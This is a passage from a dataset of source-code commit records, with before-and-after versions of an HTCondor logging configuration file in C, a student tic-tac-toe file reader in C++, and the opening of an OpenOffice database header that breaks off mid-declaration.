(char*)malloc(strlen(log) + strlen(lsubsys) + 5);\n\t\t\t\t\t\tsprintf(str, \"%s%c%sLog\", log, DIR_DELIM_CHAR, lsubsys);\n\t\t\t\t\t\t\n\t\t\t\t\t\tDebugFile[debug_level] = str;\n\n\t\t\t\t\t\tfree(log);\n\t\t\t\t\t\tfree(lsubsys);\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tDebugFile[debug_level] = tmp2;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t\/\/ This is looking up configuration options that I can't\n\t\t\t\t\t\/\/ find documentation for, so intead of coding in an\n\t\t\t\t\t\/\/ incorrect default value, I'm gonna use \n\t\t\t\t\t\/\/ param_without_default.\n\t\t\t\t\t\/\/ tristan 5\/29\/09\n\t\t\t\t\tDebugFile[debug_level] = param_without_default(pname);\n\t\t\t\t}\n\t\t\t\tif ( tmp ) {\n\t\t\t\t\tfree( tmp );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif( debug_level == 0 && DebugFile[0] == NULL ) {\n\t\t\t\tEXCEPT(\"No '%s' parameter specified.\", pname);\n\t\t\t} else if ( DebugFile[debug_level] != NULL ) {\n\n\t\t\t\tif (debug_level == 0 && first_time) {\n\t\t\t\t\tstruct stat stat_buf;\n\t\t\t\t\tif ( stat( DebugFile[debug_level], &stat_buf ) >= 0 ) {\n\t\t\t\t\t\tDebugLastMod = stat_buf.st_mtime > stat_buf.st_ctime ? stat_buf.st_mtime : stat_buf.st_ctime;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tDebugLastMod = -errno;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (debug_level == 0) {\n\t\t\t\t\t(void)sprintf(pname, \"TRUNC_%s_LOG_ON_OPEN\", subsys);\n\t\t\t\t} else {\n\t\t\t\t\t(void)sprintf(pname, \"TRUNC_%s_%s_LOG_ON_OPEN\", subsys,\n\t\t\t\t\t\t\t\t _condor_DebugFlagNames[debug_level-1]+2);\n\t\t\t\t}\n\t\t\t\tpval = param(pname);\n\t\t\t\tif( pval ) {\n\t\t\t\t\tif( *pval == 't' || *pval == 'T' ) {\n\t\t\t\t\t\twant_truncate = 1;\n\t\t\t\t\t} \n\t\t\t\t\tfree(pval);\n\t\t\t\t}\n\n\t\t\t\tif (debug_level == 0) {\n\t\t\t\t\t(void)sprintf(pname, \"%s_LOCK\", subsys);\n\t\t\t\t\tif (DebugLock) {\n\t\t\t\t\t\tfree(DebugLock);\n\t\t\t\t\t}\n\t\t\t\t\tDebugLock = param(pname);\n\t\t\t\t}\n\n\t\t\t\tif( first_time && want_truncate ) {\n\t\t\t\t\tdebug_file_fp = debug_lock(debug_level, \"w\", 0);\n\t\t\t\t} else {\n\t\t\t\t\tdebug_file_fp = debug_lock(debug_level, \"a\", 0);\n\t\t\t\t}\n\n\t\t\t\tif( debug_file_fp == NULL && debug_level == 0 ) {\n #ifdef WIN32\n\t\t\t\t\t\/*\n\t\t\t\t\t** If we could not open the log file, we might want to keep running anyway.\n\t\t\t\t\t** If we do, then set the log filename to NUL so we don't keep trying\n\t\t\t\t\t** (and failing) to open the file.\n\t\t\t\t\t*\/\n\t\t\t\t\tif (DebugContinueOnOpenFailure) {\n\n\t\t\t\t\t\t\/\/ change the debug file to point to the NUL device.\n\t\t\t\t\t\tstatic const char strDevNull[] = \"NUL\";\/\/\"\\\\\\\\.\\\\Device\\\\Null\";\n\t\t\t\t\t\tchar * psz = (char*)malloc(sizeof(strDevNull));\n\t\t\t\t\t\tstrcpy(psz, strDevNull);\n\t\t\t\t\t\tif (DebugFile[debug_level]) \n\t\t\t\t\t\t\tfree(DebugFile[debug_level]);\n\t\t\t\t\t\tDebugFile[debug_level] = psz;\n\n\t\t\t\t\t} else\n #endif\n\t\t\t\t\t{\n\t\t\t\t\t EXCEPT(\"Cannot open log file '%s'\",\n\t\t\t\t\t\t DebugFile[debug_level]);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (debug_file_fp) (void)debug_unlock( debug_level );\n\t\t\t\tdebug_file_fp = NULL;\n\n\t\t\t\tif (debug_level == 0) {\n\t\t\t\t\t(void)sprintf(pname, \"MAX_%s_LOG\", subsys);\n\t\t\t\t} else {\n\t\t\t\t\t(void)sprintf(pname, \"MAX_%s_%s_LOG\", subsys,\n\t\t\t\t\t\t\t\t _condor_DebugFlagNames[debug_level-1]+2);\n\t\t\t\t}\n\t\t\t\tMaxLog[debug_level] = param_integer(pname, 1024*1024);\n\t\t\t\t\n\t\t\t\tif (debug_level == 0) {\n\t\t\t\t\t(void)sprintf(pname, \"MAX_NUM_%s_LOG\", subsys);\n\t\t\t\t} else {\n\t\t\t\t\t(void)sprintf(pname, \"MAX_NUM_%s_%s_LOG\", subsys,\n\t\t\t\t\t\t\t\t _condor_DebugFlagNames[debug_level-1]+2);\n\t\t\t\t}\n\t\t\t\tMaxLogNum[debug_level] = param_integer(pname, 1);\n\t\t\t}\n\t\t}\n\t} else {\n\n#if !defined(WIN32)\n\t\tsetlinebuf( stderr );\n#endif\n\n\t\t(void)fflush( stderr );\t\/* Don't know why we need this, but if not here\n\t\t\t\t\t\t\t the first couple dprintf don't come out right *\/\n\t}\n\n#ifndef WIN32\n\tif((strcmp(subsys, \"SHADOW\") == 0) || (strcmp(subsys, \"GRIDMANAGER\") == 0))\n\t{\n\t\tlog_open_default = FALSE;\n\t}\n#endif\n\n\tif(!DebugLock) {\n\t\tsprintf(pname, \"%s_LOG_KEEP_OPEN\", subsys);\n\t\tlog_keep_open = param_boolean_int(pname, log_open_default);\n\t}\n\n\tfirst_time = 0;\n\t_condor_dprintf_works = 1;\n#if HAVE_EXT_GCB\n\t\t\/*\n\t\t this method currently only lives in libGCB.a, so don't even\n\t\t try to param() or call this function unless we're on a\n\t\t platform where we're using the GCB external\n\t\t*\/\n if ( param_boolean_int(\"NET_REMAP_ENABLE\", 0) ) {\n Generic_set_log_va(_condor_gcb_dprintf_va);\n }\n#endif\n\n\t\t\/*\n\t\t If LOGS_USE_TIMESTAMP is enabled, we will print out Unix timestamps\n\t\t instead of the standard date format in all the log messages\n\t\t*\/\n\tDebugUseTimestamps = param_boolean_int( \"LOGS_USE_TIMESTAMP\", FALSE );\n\n#if HAVE_BACKTRACE\n\tinstall_backtrace_handler();\n#endif\n\n\t_condor_dprintf_saved_lines();\n}\n\n\n#if HAVE_EXT_GCB\nvoid\n_condor_gcb_dprintf_va( int flags, char* fmt, va_list args )\n{\n\tchar* new_fmt;\n\tint len;\n\n\tlen = strlen(fmt);\n\tnew_fmt = (char*) malloc( (len + 6) * sizeof(char) );\n\tif( ! new_fmt ) {\n\t\tEXCEPT( \"_condor_gcb_dprintf_va() out of memory!\" );\n\t}\n\tsnprintf( new_fmt, len + 6, \"GCB: %s\", fmt );\n\t_condor_dprintf_va( flags, new_fmt, args );\n\tfree( new_fmt );\n}\n#endif \/* HAVE_EXT_GCB *\/\n<commit_msg>Handled by eje, pending review of #2471<commit_after>\/***************************************************************\n *\n * Copyright (C) 1990-2007, Condor Team, Computer Sciences Department,\n * University of Wisconsin-Madison, WI.\n * \n * Licensed under the Apache License, Version 2.0 (the \"License\"); you\n * may not use this file except in compliance with the License. You may\n * obtain a copy of the License at\n * \n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n * \n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ***************************************************************\/\n\n\n\n\/************************************************************************\n**\n**\tSet up the various dprintf variables based on the configuration file.\n**\n************************************************************************\/\n#define _FILE_OFFSET_BITS 64\n#include \"condor_common.h\"\n#include \"condor_debug.h\"\n#include \"condor_string.h\" \n#include \"condor_sys_types.h\"\n\n#if HAVE_BACKTRACE\n#include \"sig_install.h\"\n#endif\n\nint\t\tTermlog = 0;\n\nextern int\t\tDebugFlags;\nextern FILE\t\t*DebugFPs[D_NUMLEVELS+1];\nextern off_t\t\tMaxLog[D_NUMLEVELS+1];\nextern int \t\t\tMaxLogNum[D_NUMLEVELS+1];\nextern char\t\t*DebugFile[D_NUMLEVELS+1];\nextern char\t\t*DebugLock;\nextern const char\t\t*_condor_DebugFlagNames[];\nextern int\t\t_condor_dprintf_works;\nextern time_t\tDebugLastMod;\nextern int\t\tDebugUseTimestamps;\nextern int DebugContinueOnOpenFailure;\nextern int\t\tlog_keep_open;\n\nextern void\t\t_condor_set_debug_flags( const char *strflags );\nextern void\t\t_condor_dprintf_saved_lines( void );\n\n#if HAVE_EXT_GCB\nvoid\t_condor_gcb_dprintf_va( int flags, char* fmt, va_list args );\nextern \"C\" void Generic_set_log_va(void(*app_log_va)(int level, char *fmt, va_list args));\n#endif\n\n#if HAVE_BACKTRACE\nstatic void\nsig_backtrace_handler(int signum)\n{\n\tdprintf_dump_stack();\n\n\t\t\/\/ terminate for the same reason.\n\tstruct sigaction sa;\n\tsa.sa_handler = SIG_DFL;\n\tsigemptyset(&sa.sa_mask);\n\tsa.sa_flags = 0;\n\tsigaction(signum, &sa, NULL);\n\tsigprocmask(SIG_SETMASK, &sa.sa_mask, NULL);\n\n\traise(signum);\n}\n\nstatic void\ninstall_backtrace_handler(void)\n{\n\tsigset_t fullset;\n\tsigfillset( &fullset );\n\tinstall_sig_handler_with_mask(SIGSEGV, &fullset, sig_backtrace_handler);\n\tinstall_sig_handler_with_mask(SIGABRT, &fullset, sig_backtrace_handler);\n\tinstall_sig_handler_with_mask(SIGILL, &fullset, sig_backtrace_handler);\n\tinstall_sig_handler_with_mask(SIGFPE, &fullset, sig_backtrace_handler);\n\tinstall_sig_handler_with_mask(SIGBUS, &fullset, sig_backtrace_handler);\n}\n#endif\n\nint\ndprintf_config_ContinueOnFailure ( int fContinue )\n{\n int fOld = DebugContinueOnOpenFailure;\n\tDebugContinueOnOpenFailure = fContinue;\n\treturn fOld;\n}\n\nvoid\ndprintf_config( const char *subsys )\n{\n\tchar pname[ BUFSIZ ];\n\tchar *pval;\n\tstatic int first_time = 1;\n\tint want_truncate;\n\tint debug_level;\n\tFILE *debug_file_fp;\n\tint log_open_default = TRUE;\n\n\t\/* \n\t** We want to initialize this here so if we reconfig and the\n\t**\tdebug flags have changed, we actually use the new\n\t** flags. -Derek Wright 12\/8\/97 \n\t*\/\n\tDebugFlags = D_ALWAYS;\n\n\t\/*\n\t** First, add the debug flags that are shared by everyone.\n\t*\/\n\tpval = param(\"ALL_DEBUG\");\n\tif( pval ) {\n\t\t_condor_set_debug_flags( pval );\n\t\tfree( pval );\n\t}\n\n\t\/*\n\t** Then, pick up the subsys_DEBUG parameters. Note: if we don't have\n\t** anything set, we just leave it as D_ALWAYS.\n\t*\/\n\t(void)sprintf(pname, \"%s_DEBUG\", subsys);\n\tpval = param(pname);\n\tif( pval ) {\n\t\t_condor_set_debug_flags( pval );\n\t\tfree( pval );\n\t}\n\n#ifdef WIN32\n\t\t\/* Two reasons why we need to lock the log in Windows\n\t\t * (when a lock is configured)\n\t\t * 1) File rotation requires exclusive access in Windows.\n\t\t * 2) O_APPEND doesn't guarantee atomic writes in Windows\n\t\t *\/\n\tDebugShouldLockToAppend = 1;\n#else\n\tDebugShouldLockToAppend = param_boolean_int(\"LOCK_DEBUG_LOG_TO_APPEND\",0);\n#endif\n\n\t\/*\n\t**\tIf this is not going to the terminal, pick up the name\n\t**\tof the log file, maximum log size, and the name of the\n\t**\tlock file (if it is specified).\n\t*\/\n\tif( !( Termlog) ) {\n\t\tfor (debug_level = 0; debug_level <= D_NUMLEVELS; debug_level++) {\n\t\t\twant_truncate = 0;\n\t\t\tif (debug_level == 0) {\n\t\t\t\t\/*\n\t\t\t\t** the level 0 file gets all debug messages; thus, the\n\t\t\t\t** offset into DebugFlagNames is off by one, since the\n\t\t\t\t** first level-specific file goes into the other arrays at\n\t\t\t\t** index 1\n\t\t\t\t*\/\n\t\t\t\t(void)sprintf(pname, \"%s_LOG\", subsys);\n\t\t\t} else {\n\t\t\t\t(void)sprintf(pname, \"%s_%s_LOG\", subsys,\n\t\t\t\t\t\t\t _condor_DebugFlagNames[debug_level-1]+2);\n\t\t\t}\n\n\t\t\t\/\/ Hold a temporary copy of the old file pointer until\n\t\t\t\/\/ *after* the param -- param can dprintf() in some cases\n\t\t\t{\n\t\t\t\tchar\t*tmp = DebugFile[debug_level];\n\n\t\t\t\t\/\/ NEGOTIATOR_MATCH_LOG is necessary by default, but debug_level\n\t\t\t\t\/\/ is not 0\n\t\t\t\tif(debug_level == 0)\n\t\t\t\t{\n\t\t\t\t\tchar\t*tmp2 = param(pname);\n\n\t\t\t\t\t\/\/ No default value found, so use $(LOG)\/$(SUBSYSTEM)Log\n\t\t\t\t\tif(!tmp2) {\n\t\t\t\t\t\t\/\/ This char* will never be freed, but as long as\n\t\t\t\t\t\t\/\/ defaults are defined in condor_c++_util\/param_info.in\n\t\t\t\t\t\t\/\/ we will never get here.\n\t\t\t\t\t\tchar *str;\n\t\t\t\t\t\tchar *log = param(\"LOG\");\n\t\t\t\t\t\tchar *lsubsys = param(\"SUBSYSTEM\");\n\t\t\t\t\t\tif(!log || !lsubsys) {\n\t\t\t\t\t\t\tEXCEPT(\"Unable to find LOG or SUBSYSTEM.\\n\");\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t\tstr = (char*)malloc(strlen(log) + strlen(lsubsys) + 5);\n\t\t\t\t\t\tsprintf(str, \"%s%c%sLog\", log, DIR_DELIM_CHAR, lsubsys);\n\t\t\t\t\t\t\n\t\t\t\t\t\tDebugFile[debug_level] = str;\n\n\t\t\t\t\t\tfree(log);\n\t\t\t\t\t\tfree(lsubsys);\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tDebugFile[debug_level] = tmp2;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t\/\/ This is looking up configuration options that I can't\n\t\t\t\t\t\/\/ find documentation for, so intead of coding in an\n\t\t\t\t\t\/\/ incorrect default value, I'm gonna use \n\t\t\t\t\t\/\/ param_without_default.\n\t\t\t\t\t\/\/ tristan 5\/29\/09\n\t\t\t\t\tDebugFile[debug_level] = param_without_default(pname);\n\t\t\t\t}\n\t\t\t\tif ( tmp ) {\n\t\t\t\t\tfree( tmp );\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif( debug_level == 0 && DebugFile[0] == NULL ) {\n\t\t\t\tEXCEPT(\"No '%s' parameter specified.\", pname);\n\t\t\t} else if ( DebugFile[debug_level] != NULL ) {\n\n\t\t\t\tif (debug_level == 0 && first_time) {\n\t\t\t\t\tstruct stat stat_buf;\n\t\t\t\t\tif ( stat( DebugFile[debug_level], &stat_buf ) >= 0 ) {\n\t\t\t\t\t\tDebugLastMod = stat_buf.st_mtime > stat_buf.st_ctime ? stat_buf.st_mtime : stat_buf.st_ctime;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tDebugLastMod = -errno;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (debug_level == 0) {\n\t\t\t\t\t(void)sprintf(pname, \"TRUNC_%s_LOG_ON_OPEN\", subsys);\n\t\t\t\t} else {\n\t\t\t\t\t(void)sprintf(pname, \"TRUNC_%s_%s_LOG_ON_OPEN\", subsys,\n\t\t\t\t\t\t\t\t _condor_DebugFlagNames[debug_level-1]+2);\n\t\t\t\t}\n\t\t\t\tpval = param(pname);\n\t\t\t\tif( pval ) {\n\t\t\t\t\tif( *pval == 't' || *pval == 'T' ) {\n\t\t\t\t\t\twant_truncate = 1;\n\t\t\t\t\t} \n\t\t\t\t\tfree(pval);\n\t\t\t\t}\n\n\t\t\t\tif (debug_level == 0) {\n\t\t\t\t\t(void)sprintf(pname, \"%s_LOCK\", subsys);\n\t\t\t\t\tif (DebugLock) {\n\t\t\t\t\t\tfree(DebugLock);\n\t\t\t\t\t}\n\t\t\t\t\tDebugLock = param(pname);\n\t\t\t\t}\n\n\t\t\t\tif( first_time && want_truncate ) {\n\t\t\t\t\tdebug_file_fp = debug_lock(debug_level, \"w\", 0);\n\t\t\t\t} else {\n\t\t\t\t\tdebug_file_fp = debug_lock(debug_level, \"a\", 0);\n\t\t\t\t}\n\n\t\t\t\tif( debug_file_fp == NULL && debug_level == 0 ) {\n #ifdef WIN32\n\t\t\t\t\t\/*\n\t\t\t\t\t** If we could not open the log file, we might want to keep running anyway.\n\t\t\t\t\t** If we do, then set the log filename to NUL so we don't keep trying\n\t\t\t\t\t** (and failing) to open the file.\n\t\t\t\t\t*\/\n\t\t\t\t\tif (DebugContinueOnOpenFailure) {\n\n\t\t\t\t\t\t\/\/ change the debug file to point to the NUL device.\n\t\t\t\t\t\tstatic const char strDevNull[] = \"NUL\";\/\/\"\\\\\\\\.\\\\Device\\\\Null\";\n\t\t\t\t\t\tchar * psz = (char*)malloc(sizeof(strDevNull));\n\t\t\t\t\t\tstrcpy(psz, strDevNull);\n\t\t\t\t\t\tif (DebugFile[debug_level]) \n\t\t\t\t\t\t\tfree(DebugFile[debug_level]);\n\t\t\t\t\t\tDebugFile[debug_level] = psz;\n\n\t\t\t\t\t} else\n #endif\n\t\t\t\t\t{\n\t\t\t\t\t EXCEPT(\"Cannot open log file '%s'\",\n\t\t\t\t\t\t DebugFile[debug_level]);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (debug_file_fp) (void)debug_unlock( debug_level );\n\t\t\t\tdebug_file_fp = NULL;\n\n\t\t\t\tif (debug_level == 0) {\n\t\t\t\t\t(void)sprintf(pname, \"MAX_%s_LOG\", subsys);\n\t\t\t\t} else {\n\t\t\t\t\t(void)sprintf(pname, \"MAX_%s_%s_LOG\", subsys,\n\t\t\t\t\t\t\t\t _condor_DebugFlagNames[debug_level-1]+2);\n\t\t\t\t}\n\t\t\t\tpval = param(pname);\n\t\t\t\tif( pval != NULL ) {\n\t\t\t\t\tMaxLog[debug_level] = atoi( pval );\n\t\t\t\t\tfree(pval);\n\t\t\t\t} else {\n\t\t\t\t\tMaxLog[debug_level] = 1024*1024;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif (debug_level == 0) {\n\t\t\t\t\t(void)sprintf(pname, \"MAX_NUM_%s_LOG\", subsys);\n\t\t\t\t} else {\n\t\t\t\t\t(void)sprintf(pname, \"MAX_NUM_%s_%s_LOG\", subsys,\n\t\t\t\t\t\t\t\t _condor_DebugFlagNames[debug_level-1]+2);\n\t\t\t\t}\n\t\t\t\tMaxLogNum[debug_level] = param_integer(pname, 1);\n\t\t\t}\n\t\t}\n\t} else {\n\n#if !defined(WIN32)\n\t\tsetlinebuf( stderr );\n#endif\n\n\t\t(void)fflush( stderr );\t\/* Don't know why we need this, but if not here\n\t\t\t\t\t\t\t the first couple dprintf don't come out right *\/\n\t}\n\n#ifndef WIN32\n\tif((strcmp(subsys, \"SHADOW\") == 0) || (strcmp(subsys, \"GRIDMANAGER\") == 0))\n\t{\n\t\tlog_open_default = FALSE;\n\t}\n#endif\n\n\tif(!DebugLock) {\n\t\tsprintf(pname, \"%s_LOG_KEEP_OPEN\", subsys);\n\t\tlog_keep_open = param_boolean_int(pname, log_open_default);\n\t}\n\n\tfirst_time = 0;\n\t_condor_dprintf_works = 1;\n#if HAVE_EXT_GCB\n\t\t\/*\n\t\t this method currently only lives in libGCB.a, so don't even\n\t\t try to param() or call this function unless we're on a\n\t\t platform where we're using the GCB external\n\t\t*\/\n if ( param_boolean_int(\"NET_REMAP_ENABLE\", 0) ) {\n Generic_set_log_va(_condor_gcb_dprintf_va);\n }\n#endif\n\n\t\t\/*\n\t\t If LOGS_USE_TIMESTAMP is enabled, we will print out Unix timestamps\n\t\t instead of the standard date format in all the log messages\n\t\t*\/\n\tDebugUseTimestamps = param_boolean_int( \"LOGS_USE_TIMESTAMP\", FALSE );\n\n#if HAVE_BACKTRACE\n\tinstall_backtrace_handler();\n#endif\n\n\t_condor_dprintf_saved_lines();\n}\n\n\n#if HAVE_EXT_GCB\nvoid\n_condor_gcb_dprintf_va( int flags, char* fmt, va_list args )\n{\n\tchar* new_fmt;\n\tint len;\n\n\tlen = strlen(fmt);\n\tnew_fmt = (char*) malloc( (len + 6) * sizeof(char) );\n\tif( ! new_fmt ) {\n\t\tEXCEPT( \"_condor_gcb_dprintf_va() out of memory!\" );\n\t}\n\tsnprintf( new_fmt, len + 6, \"GCB: %s\", fmt );\n\t_condor_dprintf_va( flags, new_fmt, args );\n\tfree( new_fmt );\n}\n#endif \/* HAVE_EXT_GCB *\/\n<|endoftext|>"} {"text":"<commit_before>\/*********************************************************************\n** Author: Zach Colbert\n** Date: 22 November 2017\n** Description: The T3Reader class interacts with the Board class to \n\"play\" a game of tic-tac-toe based on a set of instructions read from \na text file. It features a simple constructor and a member function to \nfeed the input file to.\n*********************************************************************\/\n\n#include \"T3Reader.hpp\"\n#include <fstream>\n#include <string>\n#include <iostream>\n\nusing std::string;\nusing std::cout;\nusing std::endl;\n\n\n\/\/ The constructor takes a char argument to indicate which \"player\" \n\/\/ will go first in the game\nT3Reader::T3Reader(char firstTurn)\n{\n nextTurn = firstTurn;\n}\n\n\n\/*********************************************************************\n** Description: readGameFile takes a string argument for the name of \nthe input file. It reads the text file line by line, passing \ninstructions to the makeMove function of the Board class.\nIt checks the state of the game after each move, returning false if \nthe instructions continue beyond the end of the game. It also returns \nfalse when it encounters an illegal move.\nAfter each move, it toggles the game piece that is placed in the \nsucceeding turn.\n*********************************************************************\/\nbool T3Reader::readGameFile(string fileName)\n{\n \/\/ Initialize variables to store the coords and results for each move\n int xCoord, yCoord;\n int breakReturn = 0;\n bool moveResult;\n \n \/\/ Open the input file\n std::ifstream inFile(fileName);\n\n \/\/ Loop until the end of the file\n while (inFile >> xCoord >> yCoord)\n {\n \/\/ If the game is finished, return false\n if (gameBoard.gameState() != 3)\n {\n \/\/ Make sure to close the file!\n inFile.close();\n breakReturn = 1;\n break;\n }\n \n \/\/ Otherwise, record the result of each move\n moveResult = gameBoard.makeMove(xCoord, yCoord, nextTurn);\n\n \/\/ Return false if the move failed\n if (moveResult == false)\n {\n \/\/ Make sure to close the file!\n inFile.close();\n breakReturn = 1;\n break;\n }\n\n \/\/ Toggle the next player\n if (nextTurn == 'x')\n {\n nextTurn = 'o';\n }\n else\n {\n nextTurn = 'x';\n }\n }\n\n \/\/ Return false for the things that break the while loop\n if (breakReturn == 1)\n {\n return false;\n }\n else\n {\n \/\/ If you got this far, it worked! Close the file and return true.\n inFile.close();\n return true;\n }\n}\n<commit_msg>Fixed a flip error<commit_after>\/*********************************************************************\n** Author: Zach Colbert\n** Date: 22 November 2017\n** Description: The T3Reader class interacts with the Board class to \n\"play\" a game of tic-tac-toe based on a set of instructions read from \na text file. It features a simple constructor and a member function to \nfeed the input file to.\n*********************************************************************\/\n\n#include \"T3Reader.hpp\"\n#include <fstream>\n#include <string>\n#include <iostream>\n\nusing std::string;\nusing std::cout;\nusing std::endl;\n\n\n\/\/ The constructor takes a char argument to indicate which \"player\" \n\/\/ will go first in the game\nT3Reader::T3Reader(char firstTurn)\n{\n nextTurn = firstTurn;\n}\n\n\n\/*********************************************************************\n** Description: readGameFile takes a string argument for the name of \nthe input file. It reads the text file line by line, passing \ninstructions to the makeMove function of the Board class.\nIt checks the state of the game after each move, returning false if \nthe instructions continue beyond the end of the game. It also returns \nfalse when it encounters an illegal move.\nAfter each move, it toggles the game piece that is placed in the \nsucceeding turn.\n*********************************************************************\/\nbool T3Reader::readGameFile(string fileName)\n{\n \/\/ Initialize variables to store the coords and results for each move\n int xCoord, yCoord;\n int breakReturn = 0;\n bool moveResult;\n \n \/\/ Open the input file\n std::ifstream inFile;\n inFile.open(fileName);\n\n \/\/ Loop until the end of the file\n while (inFile >> xCoord >> yCoord)\n {\n \/\/ If the game is finished, return false\n if (gameBoard.gameState() != 3)\n {\n \/\/ Make sure to close the file!\n inFile.close();\n breakReturn = 1;\n break;\n }\n \n \/\/ Otherwise, record the result of each move\n moveResult = gameBoard.makeMove(xCoord, yCoord, nextTurn);\n\n \/\/ Return false if the move failed\n if (moveResult == false)\n {\n \/\/ Make sure to close the file!\n inFile.close();\n breakReturn = 1;\n break;\n }\n\n \/\/ Toggle the next player\n if (nextTurn == 'x')\n {\n nextTurn = 'o';\n }\n else\n {\n nextTurn = 'x';\n }\n }\n\n \/\/ Return false for the things that break the while loop\n if (breakReturn == 1)\n {\n return false;\n }\n else\n {\n \/\/ If you got this far, it worked! Close the file and return true.\n inFile.close();\n return true;\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: resultcolumn.hxx,v $\n *\n * $Revision: 1.6 $\n *\n * last change: $Author: obo $ $Date: 2005-12-19 17:15:05 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _DBACORE_RESULTCOLUMN_HXX_\n#define _DBACORE_RESULTCOLUMN_HXX_\n\n#ifndef _COM_SUN_STAR_SDBC_XRESULTSETMETADATA_HDL_\n#include <com\/sun\/star\/sdbc\/XResultSetMetaData.hdl>\n#endif\n#ifndef _DBA_COREAPI_COLUMN_HXX_\n#include <column.hxx>\n#endif\nnamespace dbaccess\n{\n \/\/************************************************************\n \/\/ OResultColumn\n \/\/************************************************************\n class OResultColumn : public OColumn,\n public ::comphelper::OPropertyArrayUsageHelper < OResultColumn >\n {\n protected:\n ::com::sun::star::uno::Reference < ::com::sun::star::sdbc::XResultSetMetaData > m_xMetaData;\n ::com::sun::star::uno::Reference< ::com::sun::star::sdbc::XDatabaseMetaData > m_xDBMetaData;\n sal_Int32 m_nPos;\n ::com::sun::star::uno::Any m_aIsRowVersion;\n\n virtual ~OResultColumn();\n public:\n OResultColumn(\n const ::com::sun::star::uno::Reference < ::com::sun::star::sdbc::XResultSetMetaData >& _xMetaData,\n sal_Int32 _nPos,\n const ::com::sun::star::uno::Reference< ::com::sun::star::sdbc::XDatabaseMetaData >& _rxDBMeta );\n\n \/\/ com::sun::star::lang::XTypeProvider\n virtual ::com::sun::star::uno::Sequence< sal_Int8 > SAL_CALL getImplementationId() throw (::com::sun::star::uno::RuntimeException);\n\n \/\/ com::sun::star::lang::XServiceInfo\n virtual ::rtl::OUString SAL_CALL getImplementationName( ) throw(::com::sun::star::uno::RuntimeException);\n virtual ::com::sun::star::uno::Sequence< ::rtl::OUString > SAL_CALL getSupportedServiceNames( ) throw(::com::sun::star::uno::RuntimeException);\n\n \/\/ cppu::OComponentHelper\n virtual void SAL_CALL disposing(void);\n\n \/\/ comphelper::OPropertyArrayUsageHelper\n virtual ::cppu::IPropertyArrayHelper* createArrayHelper( ) const;\n\n \/\/ cppu::OPropertySetHelper\n virtual ::cppu::IPropertyArrayHelper& SAL_CALL getInfoHelper();\n virtual void SAL_CALL getFastPropertyValue(\n ::com::sun::star::uno::Any& rValue,\n sal_Int32 nHandle\n ) const;\n\n private:\n void impl_determineIsRowVersion_nothrow();\n };\n}\n#endif \/\/ _DBACORE_RESULTCOLUMN_HXX_\n\n<commit_msg>INTEGRATION: CWS warnings01 (1.6.28); FILE MERGED 2006\/03\/24 15:35:49 fs 1.6.28.1: #i57457# warning-free code (unxlngi6\/.pro + unxsoli4.pro)<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: resultcolumn.hxx,v $\n *\n * $Revision: 1.7 $\n *\n * last change: $Author: hr $ $Date: 2006-06-20 02:40:45 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _DBACORE_RESULTCOLUMN_HXX_\n#define _DBACORE_RESULTCOLUMN_HXX_\n\n#ifndef _COM_SUN_STAR_SDBC_XRESULTSETMETADATA_HDL_\n#include <com\/sun\/star\/sdbc\/XResultSetMetaData.hdl>\n#endif\n#ifndef _DBA_COREAPI_COLUMN_HXX_\n#include <column.hxx>\n#endif\nnamespace dbaccess\n{\n \/\/************************************************************\n \/\/ OResultColumn\n \/\/************************************************************\n class OResultColumn : public OColumn,\n public 